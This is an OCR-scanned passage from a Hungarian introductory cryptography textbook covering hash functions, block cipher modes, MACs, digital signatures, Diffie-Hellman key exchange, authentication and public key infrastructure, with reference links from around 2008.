SSH-ban is. Az ElGamal algoritmuson alapul, amelyet megalkotdja, Tahel
Elgamal nem szabadalmaztatott, azonban a 2008-ban lejaré Diffie-Hellman

szabadalom tulajdonosai ugy érzik, hogy az 6 szabadalmuk lefedte.

3.5. Kriptografiai hash fuggvények

Osszetettebb kriptografiai konstrukciokban a rejtjelez8kon kiviil fontos
épitéelemnek szadmitanak még az Un. kriptografiai hash fliggvények.

Tekintsilik a kdvetkez6 fliggvényt:
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H: {0,1}* — {0,1}" hash fiiggvény egy tetszlleges hosszisadgu bindris
sorozatot egy n hosszsagl binaris sorozatba képez le. Tipikus hasznalata
soran egy M iizenethez egy H(M) hash értéket rendeliink. Ezt az M
lenyomatanak is szoktuk nevezni. Az alkalmazdsokban a hash értéket

angolul szokték fingerprintmek (=ujjlenyomat) is nevezni.

F6 elvaradsunk vele szemben az, hogy egyiranyu legyen, azaz az M iizenet
ismeretében a H(M) lenyomat hatékonyan szamolhato legyen, de a
lenyomathoz az iizenetet (illetve egy olyan iizenetet, amihez a lenyomat
illik) nehéz legyen megtalalni. Angolul: One Way Hash Function, réviditve
OWHF.

Az aldbbiakban bemutatunk a gyakorlatban tipikusan alkalmazott két

megoldast.

3.5.1. MD5

http://www.ietf.org/rfc/rfc1321.txt

A Message Digest 5-0s verzid a 4-es javitdsa. Tetszéleges hosszusagu
inputhoz 128 bites hash értéket rendel. A 128 bit ma mar tal kevés ahhoz,
hogy az MD5 ellenalljon egy sziiletésnap paradoxonon alapul6 tdmadasnak
(birthday attack). Hasznaljunk helyette er0sebb kodolast, legalabb SHA-
256-ot. Egy érdekes cikk az MDS5 hash iitk6zés demonstralasara:
http://www.cits.rub.de/MDS5Collisions/ (Megjegyzes: a link 2008. 02. 25-

én este nem mikodott, a google masolata 2008. 02. 19-i volt.) A cikk
bemutat két értelmes szoveget tartalmazo postscript fajlt, amelyeknek az

MD5-tel szamitott hash értéke azonos. Az irodalomjegyzékében tovabbi


http://www.cits.rub.de/MD5Collisions/
http://www.ietf.org/rfc/rfc1321.txt
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hasznos hivatkozasokat taldlunk a timadassal kapcsolatban (s6t, az SHA-1

elleni timadasrdl is).

Erdekességként:
http:// www.prog.hu/tudastar/32295-12/MD5+vagy+SHA 1.html

Az MDS5 neve alapjan néha altalanossagban a hash értéket is nevezik

tizenet kivonatmak (message digest).

3.5.2. SHA

Az MDS5-h6z hasonlé tervezési alapelveket haszndl az USA-ban
szabvanyként is elfogadott Secure Hash Algorithm. Ez egy szabvany
csalad. Jelenleg még a 160 bites lenyomatot készit6 SHA-1 a
legelterjedtebb koziilik, de 1étezik SHA-256, SHA-384, SHA-512 is (a
neviik mutatja, hogy hany bites a lenyomat). Linkek:

http://www.ietf.org/rfc/rfc3174.txt — SHA1-161 sz616 RFC

http://www.itl.nist.gov/fipspubs/fip180-1.htm - az SHA-1 USA

szabvany

http://csre.nist.gov/publications/fips/fips180-2/fips180-2.pdf — az

Osszes SHA szabvany

http://csrc.nist.gov/publications/fips/ — USA informacio-feldolgozasi

szabvanyok ¢és visszavont szabvanyok (FIPS: Federal Information

Processing Standars).


http://csrc.nist.gov/publications/fips/
http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf
http://www.itl.nist.gov/fipspubs/fip180-1.htm
http://www.ietf.org/rfc/rfc3174.txt
http://www.prog.hu/tudastar/32295-12/MD5+vagy+SHA1.html
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Az SHA-512 mar valoszinlileg a legparanoidsabb rendszergazdidknak is

megfelel a jelszavak egyiranya kodolésara. ;-)

3.5.3. Saziiletésnap paradoxon

A sziiletésnap paradoxon arr6dl sz6l, hogyha egy teremben van 23 ember,
akkor valamivel tobb, mint 50% valdsziniiséggel akad koztiik két olyan,
akiknek azonos napon van a sziiletésnapja. 60 ember esetén ez a
valoszinliség mar tobb, mint 99%. (Természetesen egy konkrét személyt
kivalasztva ennél joval kisebb valoszinliséggel van még egy masik
jelenlevének ugyanakkor a sziiletésnapja, mint neki!) Altalanosan: egy
elemi halmazb6l véletlenszerlien valasztva az n négyzetgyokének
nagysagrendjébe eso (annal valamivel nagyobb) szamu elemet (ugy, hogy
egy elemet tobbszor is kivalaszthatunk), legalabb 50% valosziniiséggel

akad kozottiik kettd, amelyik megegyezik.

Hash fliggvény ellen a sziiletésnap paradoxonon alapuld tdamadas alapotlete
a kovetkezd. Amennyiben egy hash fiiggvény n bites lenyomatot ad, sajnos
mar nagysagrendileg 2" db iizenet esetén is 50% valosziniiséggel lesz
kettd, amelyiknek a lenyomata azonos. Ha a tamad6 képes két ilyen
(értelmes) {lizenetet késziteni, akkor ezzel Ggy tud visszaélni, hogy az
egyiket elkiildni a lenyomattal, mint aldirdssal egylitt a partnerének,
késobb pedig az allitja, hogy & korabban a masikat kiildte, és ezt a

lenyomat egyezésével bizonyitja.
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3.6. Alapveto kriptografiai protokollok

Ebben az alfejezetben az eddig bemutatott alapelemek (titkos és nyilvanos
kulestt kodolok, valamint a hash fiiggvény) felhasznéaldsaval olyan
eljarasokat ¢épitiink fel, amelyeket majd a biztonsdgos kommunikécio

megvalositasahoz fogunk hasznalni.

3.6.1. Blokkrejtjelezési médok

Egy blokkrejtjelez6 n bit hosszi nyilt szoveget kodol n bit hossza
titkositott szoveggé. A ma hasznalt kddolok esetén tipikusan n=64 vagy
128 (esetleg 192 vagy 256). A gyakorlatban azonban sokszor ennél
hosszabb illetve rovidebb (akar 1 byte) adat titkositasara van sziikségilink.
A problémaéra tobb megoldas is van. Ko6zds vonasuk, hogy ha az iizenet
hossza n-nél kisebb, vagy n-nél nagyobb, de nem egész szdmu tobbszordse,
akkor az lizenetet a megfeleld szdmu bittel kiegészitjiik (kitoltés) n egész
szamu tobbszorosére. A kitoltd biteket persze a dekodolaskor meg kell

tudnunk kiilonboztetni a valodi adatbitektol.

Most nagyon roviden megnézziik, hogy milyen megoldasok vannak arra a
problémdra, hogy az lizenet hossza n-nél nagyobb (illetve arra is, ha
kisebb).

ECB

Hosszu lizenetek rejtjelezésére trividlisan adédd megoldas, hogy bontsuk n
bites blokkokra, és azokat kiilon-kiilon rejtjelezziik. Ezt az eljarast nevezik

ECB-nek (Electronic Codebook).
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Az eljaras tobb tdmadasi lehetdséget is rejt. Adott kulcs mellett adott nyilt
szoveg blokkhoz egyértelmiien tartozik a titkositott parja, igy a tdmado a
rejtett nyilt szoveg parok segitségével szdtarat képes épiteni. Ezen kiviil az
egyes blokkok sorrendjét felcserélheti, blokkokat torolhet, korabbiakat ujra

beszurhat, stb. Ezek ellen az algoritmus nem véd.

cBC

A CBC (Cipher Block Chaining) mddban a kiildé a rejtjelezett blokkot
megorzi, és rejtjelezés eldtt bitenkénti kizard vagy miivelettel hozzéadja a
kovetkezd rejtjelezendd blokkhoz. (Majd rejtjelezi és ismét megdrzi.)
Annak érdekében, hogy a rejtjelezés mindig ugyan azzal az algoritmussal
torténjen, az elsé blokkhoz is hozzdad egy un. kezd6 vektort (IV —
Inititalization Vector). A dekddolasnél az egyes blokkok dekodolasa utan
mindig ,,ki kell vonni” az el6z6 blokk kodolt valtozatat (legeldszor pedig

az IV-t), ami ugyancsak a bitenkénti kizard vagy miivelettel torténik.

A modszer elénye, hogy egy adott rejtjelezett blokk nem csak az adott nyilt
blokktol fiigg, hanem a megel6z6tél (és azon keresztil az azt
megel6zOktdl) is. Igy a tamadd nem tud szotarat épiteni, sét, ha az IV
kiilonb6zé (ami kovetelmény), akkor két teljesen azonos nyilt {izenet
kodolt valtozata is eltérd lesz. A moddszer a rejtjelezett blokkok
felcserélésének, torlésének és beszurasanak detektaldsara is lehetdséget
nyujt abban az esetben, ha a nyilt szoveg redundéans (pl. értelmes szdveg

helyett zagyvasagot kapunk).
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CFB

Vannak olyan alkalmazasok, ahol a titkositonk blokkméreténél révidebb
adategységeket kell egyszerre atvinniink. Gondoljunk példaul a titkositast
nem hasznalé t el net -re vagy az azt levalto ssh-ra, ahol a billentyi
letitéseket azonnal at kell vinniink; nem tehetjik meg azt, hogy
Osszevarjunk a blokkméretnek megfeleld darabszamot. A blokkméretre
vald kiegészités adott esetben akar megengedhetd lenne (hiszen ha pl.
Ethernet halozatot hasznalunk akkor a minimalis kerethossz miatt ugyis
kitoltést alkalmazunk majd az adatkapcsolati rétegben), de 4altalanos

esetben a savszélesség pazarlas miatt nem ajanlatos.

‘ shift regiszter (n) ‘% ‘ ‘ shift regiszter (n) ‘%
V() § y ()
E, E,
e, oo v ' ()
‘ s bit kivalasztasa ‘ ‘ ‘ s bit kivalasztasa ‘
e ; |
STV S 2N A B 2 S )

12. bra: kddolds és dekddolds CFB mddban

A problémara az egyik megoldas a CFB (Chipher Feed Back), ahol a
titkositott jelfolyamot egy shift regiszteren keresztiil visszavezetjiik a
titkositdé bemenetére. (12. abra) A titkosito minden adategység esetén a
shift regiszterbdl kapott n biten dolgozik, de a kimenetébdl valamilyen

modszerrel kivalasztunk s bitet (a titkositandé adat bitszdma) és bitenkénti
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kizar6 vagy miiveletet végziink ezen bitek és a nyilt szoveg bitjei kozott.
(A moddszer neve is azt fejezi ki, hogy a titkositott jelfolyamot vezetjiik
vissza a kodold bemenetére.) Természetesen itt is sziikséglink van
valamilyen kezdeti valtozora (IV) amivel a shift regisztert feltoltjiik. Ezt
viszont nyiltan atvihetjiik, a tdimad6é semmit sem ér vele. A dekodolas

szintén a 12. abra szerint torténik.

OFB

A CFB mdd hibaterjedési tulajdonsadgai miatt nem mindig alkalmazhato,
ekkor segit az OFB (Output Feed Back) mod, ahol a rejtjelezd tartalma
egyaltalan nem is fiigg a titkositandd jelfolyamtol, tulajdonképpen csak
arra hasznaljuk, hogy mindkét oldalon ugyan azt a pszeudorandom
jelfolyamot allitsuk eld, amit a kodold oldalon bitenkénti kizard vagy
miivelettel hozzdadunk a nyilt szoveghez, a dekddolasnal egy ujabb

bitenkénti kizard vagy miivelettel vald hozzaadassal pedig lefejtiink rdla.
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shift regiszter (n) “*
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13. abra: kodolas OFB modban

CTR

Az OFB modot tovabb egyszertisithetjiikk ugy, hogy a visszacsatolast és a
shift regisztert egy szamlaloval helyettesitjiik: 14. abra.

| szamlalo (n) |
(M
E

K

v (™

s bit kivalasztasa

)
, O :i © .

14. abra: Kodolds CTR modban
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3.6.2. Uzenethitelesités

Az tizenet hitelesités célja, hogy az iizenet cimzettje biztos lehessen abban,

hogy:

- az lizenet valdban attol szarmazik, akinek tulajdonitja (és nem valaki

mas kiildte a nevében)

- az lizenetet pontosan az, amit a feladdja kiildott (utkézben nem

valtozott meg)

Vegyiik észre, hogy CSAK ez a két célunk van! (Szemben a digitalis

alairassal!)

Az iizenethitelesités megvaldsitasara az lizenet hitelesitd kddokat (MAC:
Message Authentication Code) szoktdk hasznalni. Ez egy kriptografiai
ellen6rz6 Osszeg, amit az tlizenet kiild6je szamol ki €s csatol az {izenethez.
A vevl a rejtjelezett iizenetet dekodolja és szintén kiszamitja a MAC
érteket, majd Osszeveti az altala szdmitott értéket azzal, amit kapott. A
MAC értéke nem csak az iizenettdl fiigg, hanem egy titkos kulcstdl is,
amelyet mind az lizenet kiilddje mind a cimzettje ismer, de senki mds, igy a
tdmado sem, aki igy nem képes hamisitani. A hash fiiggvényhez hasonléan
itt is egy tetszdleges hosszu iizenethez rendeliink egy adott hossziisagu
ellen6rzd Osszeget. A kovetelmények azonban eltérdek, itt példaul nem
okoz gondot, ha a kulcs ismeretében tobb olyan {lizenetet is konnyen lehet
talalni, amihez ugyan az a MAC tartozik, ugyanis a két fél egylittmiikddik,

az eljarasnak nem célja pl. a letagadhatatlansdg biztositasa. Csak az a
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lényeg, hogy a kozos titkos kulcsot nem ismerd tdmado ne legyen képes az
lizenetet ugy modositani (vagy a forras nevében létrehozni), hogy a cimzett

ne vegye észre a csalast.

Megvalositasara tobb lehetdség is kinalkozik, a két legismertebb a CBC-
MAC és a HMAC. Mas elvi lehetdségeket is bemutat az alabbi webhely:

http://www.rsasecurity.com/rsalabs/node.asp?id=2177

CBC-MAC

A mddszer alapétlete, hogy egy blokk rejtjelezét CBC modban hasznéalunk,
¢és az utolsd blokkunk lesz a MAC. A modszer alkalmazhatosagéardl és
annak korlatair6l (tdmadasi lehetdségek) bovebben olvashatunk a BME-s

tankonyvben.

HMAC

A moddszer valamely hash fliggvény hasznalatara épiil. A MAC érték az
iizeneten kiviil természetesen fiigg a kozos titkos kulcstol is (keyed
hashing). A hasznalt hash fiiggvénytdl fliggéen beszélhetink HMAC-
MD5-r6l, HMAC-SHAI1-r6l, stb. A megvalositdst és az analizist az
érdeklddOk megtalaljak a BME-s tankonyvben. Tovabbi olvasmanyok:

http:// www.ietf.org/rfc/rfc2104.txt — RFC 2104

http://en.wikipedia.org/wikiiHMAC - Wikipédia leirds tovabbi

hasznos linkekkel


http://en.wikipedia.org/wiki/HMAC
http://www.ietf.org/rfc/rfc2104.txt
http://www.rsasecurity.com/rsalabs/node.asp?id=2177
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« http://csrc.nist.gov/publications/fips/fips198/fips-198a.pdf — a FIPS
HMAC szabvanya

3.6.3. Digitalis alairas

A digitalis alairas célja — hasonldan a kézzel torténd alairdshoz — az, hogy
mindenki szamara bizonyitsa valamely tlizenet hitelességét (authencity —
forras hiteles volta, integrity — nem modositottdk). Nem véletleniil
hangsulyoztuk az {izenethitelesités céljait: a MAC nem nyujt ilyen
garanciat, hiszen ott a kozos titkos kulcsot mindkét fél ismeri, igy a MAC
eldallitisa nem okozhat gondot a cimzettnek. A cimzett tehat 3. fél elott
nem tudja bizonyitani, hogy az iizenet valoban a kiild6tdl szarmazik, azaz a

MAC nem biztosit letagadhatatlansagot (non-repudiation).

A feladat kivaloan megoldhatdé a nyilvanos kulcstt kriptografia
segitségével: amit valaki a titkos kulcsaval kodolt el (amit csak 6 ismerhet)
azt barki visszafejtheti a hozz4 tartozo nyilvanos kulccsal. Mivel az {izenet
tetszOleges hossziisdgu lehet, ezért természetesen a hozzd tartozo hash

értéket fogjuk ilyen méddon elkodolni.

Az alairas menete tehat a kovetkezd: Az A fél eldszor elkésziti az x
iizenethez tartoz6 H(x) kivonatot (pl. SHA-1 algoritmussal), majd
elkddolja a sajat titkos kulcsaval. Az A4 &ltal az x ilizenethez generalt
digitalis aldirds (digital signature) tehat: ds A(X)=E(kj>(H (x)) . A teljes
alairt iizenet tehat x+ds,(x), ahol a + jel a konkatenaciot (egymads utan irds)

jelenti.


http://csrc.nist.gov/publications/fips/fips198/fips-198a.pdf
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Az ellendrzés soran kiszdmitjuk a kapott x' lizenethez tartozd6 H(x')
kivonatot, valamint az 4 mindenki 4ltal megismerhetd nyilvanos kulcséval
egy dekodolast végziink a kapott dsa(x)' alairason: D»(ds,(x)') . Haa
két érték megegyezik, akkor hitelesként elfogadjuk az alairt {lizenetet,
egyébkeént elvetjiik.

Az alairas elkészitését €s ellendrzését illusztralja a 15. abra.
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- Signature Generation -- Signature Verification -

Message Received Message

-

| Secure Hash Algorithm-1 | | Secure Hash Algorithm-1

-

Message Digest Message Digest

Private 1 Digital Digital Public
ds Algorithm ds Algorithm
Sign Operation Verify Operation

Key Signature Signature Key

-

-

Yes - Signature Verified
or
No - Signature Verification Failed

15, dbra: digitalis aldirds készitése és ellenbrzése

vektorgrafikusan magyarul megrajzolni!

Forras:

http://csrc.nist.gov/publications/fips/fips186-2/fips186-2-changel.pdf
(2. oldal laptet6 a pdf-ben)

A gyakorlatban 3 haszndlhaté algoritmus van: DSA, RSA, ECDSA. Az

USA-ban ezeket tamogatjak:
http://csrc.nist.gov/CryptoToolkit/tkdigsigs.html

A magyar hatalyos jogszabaly az elektronikus aldirasrol szolo 2001. évi

XXXV. tv. A torvény tervezetének szovege megtalalhato:


http://csrc.nist.gov/CryptoToolkit/tkdigsigs.html
http://csrc.nist.gov/publications/fips/fips186-2/fips186-2-change1.pdf
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http:// www.mkogy.hu/irom36/3847/3847.htm.

Bdvebben a nyilvanos kulcsu infrastruktiranal (3.7.) foglalkozunk vele.

3.6.4. Kulcscsere protokollok

Ezt a témakort csak részben és érintdlegesen targyaljuk. A kulcscsere
protokollokhoz tartoznak a kulcsszallito protokollok is, amelyek célja az,
hogy valamely kulcsot az egyik résztvevotdl a masikhoz biztonsadgosan

eljuttassunk. Ezzel egyaltalan nem foglalkozunk.

A benniinket érdekld probléma a kovetkezd: két fél kozos titkos kulcsot
szeretne létrehozni. (Erre pl. szimmetrikus kulcsu rejtjelezéshez vagy
iizenethitelesitdé kodok hasznalatdhoz van sziikségiik.) A probléma
megolddsa egy un. kulcsmegegyezés protokoll, amelynek soran a felek
olyan koz0s titkos kulcsot hoznak 1étre, amelyet mindketten ismernek, de a

hallgat6z6 tdmado nem képes kitaldlni.

Miel6tt a probléma targyalasat elkezdhetnénk, boviteniink kell az algebrai

struktirakra vonatkozo6 ismereteinket.

Az n (mod m) jelolés az n szam m-es maradékat jeloli. Példaul az 5 (mod 3)

az 2.

TetszOleges m=22 modulusra a maradékosztalyokkal (0, 1, 2, ... m-1) Ggy
tudunk miiveletet végezni, hogy azok egy reprezentansaval (tipikusan a 0,
1, 2, ... m-1 szamokkal) végezziik a miiveleteket. Példaul m=5 esetén a 2-

es maradékosztalyba tartoz6 7 és a 3-as maradékosztalyba tartozd 8


http://www.mkogy.hu/irom36/3847/3847.htm
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Osszegét kiszdmithatjuk Ggy is, hogy a 7 ¢és a 8 helyett a
maradékosztalyokat reprezentdld 2-t és 3-at adjuk Ossze. 2+3=0 (mod 5)
ugyanugy, mint 7+8=0 (mod 5) Az ilyen miveletvégzést modulo m

aritmetikanak nevezziik.

Ha egy p primszdm maradékosztalyai koziil a 0-t toroljiik (tehat marad az
1, 2, ... p-1) akkor ezek a modulo p szorzds miiveletével csoportot
alkotnak. (A csoport jellemz6éit mar a 3-DES-nél megadtuk.) Ezt a
csoportot Z',-vel jeloljik és a p dltal definialt multiplikativ csoportnak

nevezzik.

A p éltal definidlt multiplikativ csoport egy generator elemének nevezziik
azt a g (2<g<p-1) elemet, amelynek hatvanyaiként (g°=1, g'=g, g%, ... g"?) a
csoport Osszes eleme eldallithatd. (Nem minden elem generdtor elem, de

mindig van generator elem.)

Ezeknek a fogalmaknak a felhasznalasaval mar le tudjuk irni a Diffie-
Hellman protokollt.

A protokollnak két résztvevoje van, A és B. Mindkét fél szamara ismert
egy nagy p primszam ¢és az altala meghatdrozott multiplikativ csoportnak,

Z',-nek egy g generator eleme. Az algoritmus 1épései a kovetkezok:

(1) A general egy x véletlen szdmot (1=x<p-2) majd kiszdmolja g* (mod

p) értékét és az eredményt elkiildi B-nek.
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(2) B is general egy y véletlen szdmot (1sy<p-2) majd kiszdmolja g’
(mod p) értékét és az eredményt elkiildi 4-nak.

(3) A kiszamolja (g’)* (mod p) értékét. (Ehhez rendelkezésére all a B-t6]

kapott g’ (mod p) és a sajat x véletlen szama.)

(4) B kiszamolja (g*) (mod p) értékét. (Ehhez rendelkezésére all az A-
tdl kapott g* (mod p) és a sajat y véletlen szama.)

A hatvanyozas kommutativitdsa miatt mindkét félnek a rendelkezésére all
ugyan az a g% (mod p) érték, ez lehet a kapcsolatkulcs, vagy ebbdl
nyerhetik azt tovabbi miiveletekkel. Kriptografiaval foglalkozo
szakemberek erdsen hisznek abban, hogy a tamado a rendelkezésére allo p,
g, g (mod p), és g’ (mod p) szdmokbdl nem képes hatékonyan (azaz
polinom id6ben) kiszdmitani a g (mod p) értéket. Ilyen modon a protokoll

passziv tamadoval szemben védett.

Aktiv tdmadassal szemben azonban nem véd a protokoll. Ha a C tdmado6 az
A és a B koz¢é ¢ékelédve mindkét féllel a masikat megszemélyesitve futtatja

a protokollt, akkor azok mindegyike C-vel hoz létre k6zos titkos kulcsot.

A Diffie-Hellman protokollnak ezt a sebezhetdségét javitja ki a Station-to-
Station protokoll. Itt a két résztvevonek a protokoll futtatdsa eldtt
rendelkeznie  kell a nyilvanos kulcsu  kriptografiaval — torténd
kommunikéciohoz sziikséges kulcsokkal, azaz a sajat kulcsaikkal és
egymas nyilvanos kulcsaval. Ezek megszerzése a protokollon kiviil esik, a

protokoll alapfeltevése, hogy ezek rendelkezésre allnak. Station-to-Station
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protokoll hasonld elven miikddik, mint a Diffie-Hellman protokoll, de a
felek az egymasnak kiildott értékeket aldirjdk a sajat titkos kulcsukkal. A
protokoll pontos milkodését az érdeklédok megtalalhatjdk a BME-s
tankonyvben.

3.6.5. Partnerhitelesités

A partnerhitelesitéses protokollok célja, hogy a kommunikécioban
résztvevd felek bebizonyithassak egymasnak, hogy valéban azok, akinek

allitjak magukat. Ezek a modszerek 3 csoportba sorolhatok:

1. biometriai  modszerek:  Els6sorban személyek identitdsanak
(személyazonossaganak) bizonyitasdra hasznalatosak. A személyre
jellemzd (megkiilonboztetési alapként hasznalhato), jol és egyszeriien
mérhetd biologiai jellemz6t hasznalnak. Példaul hang, ujjlenyomat,
szem iriszmintdzata. Persze felmeriil a kérdés, hogy mi van, ha valaki

bereked, elvagja az ujjat, bedagad a szeme...

2. hardver alapu mddszerek: Valamilyen targy bemutatasa a bizonyiték.
Példaul RF 4dramkor, magnescsikos kartya (pl. bankkértya), smart
kartya, stb. Mivel a targyat el is lophatjak, altaldban nem 6nall6an

hasznaljak (pl. meg kell még adni egy PIN kodot is).

3. algoritmusos modszerek: Valamilyen szamitds elvégzésének a

képessége a bizonyiték, amihez valamilyen titok ismerete sziikséges.
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Mi csak a harmadikkal foglalkozunk. Ennek legegyszeriibb esete a
jelszavak haszndlata. Tipikus alkalmazdsa, hogy egy felhasznaldé kivan
hozzaférni egy rendszerhez (vagy annak valamilyen erdforrasahoz). A
felhasznalonak feltétel nélkiil meg kell biznia a rendszerben, hiszen a sajat
személyazonossaganak bizonyitasara a rendszer felé fel kell fednie az altala
ismert titkot (a jelszot). A jelszavas azonositas problémaival késébb (3.7.)

részletesen foglalkozunk.

Az algoritmusos partnerhitelesitési modszerek tovabbi lehetdséget
nyUjtanak, ha a felhaszndl6 személyén tul valamilyen szamitdst végzo
eszkoz is rendelkezésre all, pl. smartcard, vagy a felhasznél6 altal birtokolt
szamitogép. llyenkor a partnerhitelesités kriptografiai protokollokra is
¢épiilhet. Ilyenkor az A felhasznalo ugy hitelesiti magat, hogy a titok
felfedése nélkiil bizonyitja B felé, hogy annak birtokdban van. Hogyan
lehetséges ez? Valamilyen kriptografiai miiveletet végez, amit a kulcs
nélkiil nem tudna elvégezni és a miivelet eredményét kiildi el B-nek.
Annak érdekében, hogy a miivelet eredményét megfigyel6 tdmadd ne
legyen képes visszajatszasra, un. kihivas-valasz (challenge-response)
mddszert alkalmaznak: a protokoll soran B egy véletlen elemet kiild 4-nak
(kihivés), majd A ezen végzi el a kriptografiai miiveletet és elkiildi az
eredményét B-nek (valasz). Ekkor a tdmadd esélytelen, hiszen ha 6
probalkozik B felé A-t megszemélyesiteni, ugyis masik kihivast fog kapni,
amire nem tudja a helyes valaszt megadni. A végzett kriptografiai miivelet

lehet valamilyen szimmetrikus kulcsu miivelet egy kozos titkos kulccsal,
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vagy nyilvanos kulcst infrastruktarat hasznalva a titkos kulccsal végzett

kodolas, dekodolas vagy alairas.

3.7. Nyilvanos kulcsu infrastruktura

A nyilvéanos kulcsu titkositdsnal mertilt fel az a probléma, hogy a nyilvanos
kulcstarbol szarmazo informacid hitelességének ellendrzéséhez sziikségiink
van a kulestar nyilvanos kulcsara. Raadasul sziikségszeriien tobb nyilvanos
kulestarnak kell lennie, és azok is szeretnének egymassal kommunikalni,
akik a kulcsukat nem azonos kulcstarban helyezték el. A probléma
megoldasat a nyilvanos kulcsu infrastruktura (Public Key Infrastructure —

PKI) adja.

A sziikséges fogalmakkal fokozatosan ismerkediink meg. A nyilvanos
kules hitelességének igazolasara tanusitvanyokat (certificate) hasznalunk,
amelyek az adott nyilvanos kulcson kiviil természetesen tartalmazzak
annak a személynek vagy szervezetnek a nevét, akihez a nyilvanos kulcs
tartozik, €s az tanusitvanyt kidllité hitelesités szolgaltato (Certificate
Authority — CA) alairasat. Els6 megkozelitésként a hitelesités
szolgaltatokat fa strukturaba szervezetten képzelhetjiik el, amelynek tetején
a gyoker hitelesités szolgaltatd (root CA) talalhato, az elsd szintjén azok a
szolgaltatok, amelyeknek a tanusitvanyat a root CA éallitotta ki, a masodik
szintjén azok a hitelesités szolgaltatok, amelyeknek a tanusitvanyat a fa
elsd szintjén levo valamelyik szolgaltato allitotta ki, stb. A fa levelei azok a

felhasznalok (end user) akik mér nem tanusitvanyokat allitanak ki, hanem



Kriptografiai bevezetd 67

kommunikalni szeretnének. Egy felhasznald tanusitvanya ellendrizhetd, ha
a fa gyokérétdl (root CA) az adott levélig haladé uton végig haladva
minden 1épésben ellendrizzilk a tanusitvanyokat; ezt ugy hivjak, hogy
tanusitvany lanc. A gyakorlatban természetesen tobb root CA is van, és
ezek egymast keresztbe is tantsitjak. fgy ha van egy megbizhato kiindulési
pontunk, akkor a tantsitvany lanc bejarasaval meggy6zddhetiink valamely
kérdéses tanusitvany hitelességérdl. (Kiinduldsi pontként a web bongészok
jO néhany tanusitvanyt szoktak tartalmazni. Ezek hasznéalatdhoz persze meg
kell biznunk a program szallitojaban, vagy megbizhatd helyrél meg kell

vasarolnunk valamilyen adathordozon néhany root CA tanusitvanyat.)

A valdsag persze ennél joval bonyolultabb. Egy tantsitvany nem 6rok
¢letli, hanem van érvényességi ideje. (Az érvényesség kezdetének ¢és
végének idépontjan kiviil is még tobb adatot tartalmaz, amivel most nem
foglalkozunk.) Rdadasul egy tanusitvany még az érvényességi idejének
lejarta elétt is érvénytelenné valhat, példaul a titkos kulcsanak
kompromittalodasa miatt, de a tulajdonosa is kérheti az érvénytelenitést (és
még mas okai is lehetnek). Erre a célra szolgal a tantsitvany visszavonasa,
amikor is a kibocsatd CA elhelyezi a tanUsitvanyt a tanusitvany
visszavonasi listan (Certificate Revocation List — CRL) Egy tanUsitvany
ellenérzésekor tehat nem elég arrdl meggy6zddni, hogy van egy olyan
tandsitvany lanc, ami alapjan az adott tanusitvany érvényesnek tinik,
hanem meg kell vizsgalni a benne szerepld érvényességi adatokat, valamint
a vonatkozd6 CRL-t is! (Ez természetesen a felhasznalt tantsitvanylanc

Osszes elemére vonatkozik!)
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A nyilvanos kulest infrastruktardval kapcsolatos fogalomgytiijtemény
talalhato az alabbi oldalon: http://tldp.fsf hu/HOWTO/Apache-WebDAV-
LDAP-HOWTO-hu/glossary.html

A miiszaki részen tul a témanak igen jelentds a jogi oldala is. A nyilvanos
kulcsu infrastruktira megbizhatosaganak torvényi garancidi vannak. A
hatdlyos magyar jogszabaly a korabban is emlitett 2001. évi XXXV.

torvény. A torvény tervezetének szovege megtalalhato:

http://www.mkogy.hu/irom36/3847/3847.htm

A torvény szabdlyozza a hitelesités szolgaltatok tevékenységét, megadja az
elektronikus aldiras kiilonb6zé fokozatainak értelmezését ¢€s azok

hasznalatanak jogkdvetkezményeit.

Erdekességként megemlitjiik, hogy a torvény az elektronikus alairdsnak 3
fajtajat kiilonbozteti meg, ezek egyre ndvekvo erejiek. Definicidjukat és
jogkovetkezményiiket csupdn érdekességkeént, és kozelitoen adjuk meg,
amennyiben valakinek ,,élesben” sziiksége van ra, nézze meg valamely

hatalyos jogszabalygyiijteményben!

« "Egyszerii" elektronikus alairas — Ide tartozik minden olyan eset,
amikor valamely elektronikus szovegen (adaton) szerepel a
szerzOjének, kiallitdjanak neve vagy valamilyen azonositdja. (Az az
eset is ide tartozik, amikor ugyan ,.elkovettek valamit” a hitelesség
érdekében, de az alkalmazott technologia nem teszi lehetéve, hogy

mind az alairdé személye, mind a dokumentum aldirds utani


http://www.mkogy.hu/irom36/3847/3847.htm
http://tldp.fsf.hu/HOWTO/Apache-WebDAV-LDAP-HOWTO-hu/glossary.html
http://tldp.fsf.hu/HOWTO/Apache-WebDAV-LDAP-HOWTO-hu/glossary.html
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valtozatlansdga bizonyithaté legyen.) Az ilyen aldirdsnak nincs

bizonyito ereje.

« Fokozott biztonsagu elektronikus alairas — Hitelesités szolgaltato
altal tantsitott aldirasrdl van szd, de a tanusitas szintje nem felel meg
a kovetkezd kategorianak. - A bizonyito ereje az egyszerii sajat kezii

alairasnak felel meg.

«  Mindsitett elektronikus alairdas — Mindsitett hitelesités szolgaltatd
altal tanusitott alairds. Az ilyen alairassal ellatott elektronikus okirat
teljes bizonyitd erejli maganokiratnak szamit. (Mint amikor két tanu
elott irjuk ala, akiknek a megfeleld adatai és sajat kez(i alairasa

szintén szerepel az adott okiraton.)
Természetesen az alairdson kiviil az okiratoknak egyéb, — a bizonyit6 erd
novekedésével egyre szigorodd — kotelezd alaki kellekei is vannak!

A magyarorszagi hitelesités szolgaltatok listaja elérhetd az alabbi oldalon:
http://www.hif.hu:7777/pls/portal30/ESIGN PORTAL.menu.show



http://www.hif.hu:7777/pls/portal30/ESIGN_PORTAL.menu.show
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4. Biztonsagos kommunikacié

Ebben a fejezetben az I[Pv4 alapu nyilvanos halézatokon torténd
kommunikécioval foglalkozunk. A biztonsagos atvitel megvalositasara
tobbféle modellt hasznalhatunk. Most abbdl a szempontbdl vizsgaljuk meg

ezeket, hogy a biztonsag eléréséhez mit nyujt a halézat és mit az

alkalmazasok.

Amennyiben a halézat nem nyujt tdmogatast, akkor az alkalmazisok a
felelosek a biztonsagért: a kommunikacio 2 végpontja (socketek) kozott az
alkalmazasok épitenek ki egy biztonsagos csatornat, ezt valositja meg az
SSL (Secure Socket Layer), illetve az azt felvalté TLS (Transport Layer
Security). A 16. abra egy ilyen rendszert mutat be.
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16. dbra: SSL kapcsolat
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A masik megkdzelités szerint a halozat nyljtja a biztonsadgot. Ennek akkor
van jelentdsége, ha egy szervezetnek tobb telephelye van, amelyeket
nyilvanos halozaton keresztiill kapcsolnak 0Ossze. Az egyes helyi
